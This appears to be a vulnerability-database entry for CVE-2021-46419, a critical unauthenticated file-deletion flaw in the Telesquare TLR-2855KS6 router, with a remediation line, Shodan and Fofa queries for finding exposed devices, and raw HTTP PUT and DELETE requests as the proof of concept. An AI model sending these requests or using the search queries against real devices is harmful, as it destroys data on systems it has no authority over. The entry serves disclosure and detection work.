| Title | Telesquare TLR-2855KS6 - Arbitrary File Deletion |
|---|---|
| Author | DhiyaneshDK |
| Severity | Critical |
| Impact | Unauthenticated attackers can delete arbitrary files from the Telesquare TLR-2855KS6 device using HTTP DELETE requests, potentially destroying system files and rendering the device inoperable. |
| Remediation | Apply firmware updates provided by Telesquare or restrict HTTP DELETE access to the device. |
| CVSS Score | 9.1 |
| EPSS Score | 0.88313 |
| CVE ID | CVE-2021-46419 |
| Shodan Query | title:"Login to TLR-2855KS6"http.title:"login to tlr-2855ks6" |
| Fofa Query | product=="TELESQUARE-TLR-2855KS6"title="login to tlr-2855ks6"product=="telesquare-tlr-2855ks6" |
| Tags | packetstorm cve cve2021 telesquare intrusive vuln |
An unauthorized file deletion vulnerability in Telesquare TLR-2855KS6 via DELETE method can allow deletion of system files and scripts.
PUT /cgi-bin/bHeGyalR.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Connection: close
Content-Length: 27
DNT: 1
Accept-Encoding: gzip
38FPNXxdyUNpBbRkNWXPly2VXwI
DELETE /cgi-bin/bHeGyalR.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.15
Connection: close
DNT: 1
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-46419.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-46419.pcap
N/AN/A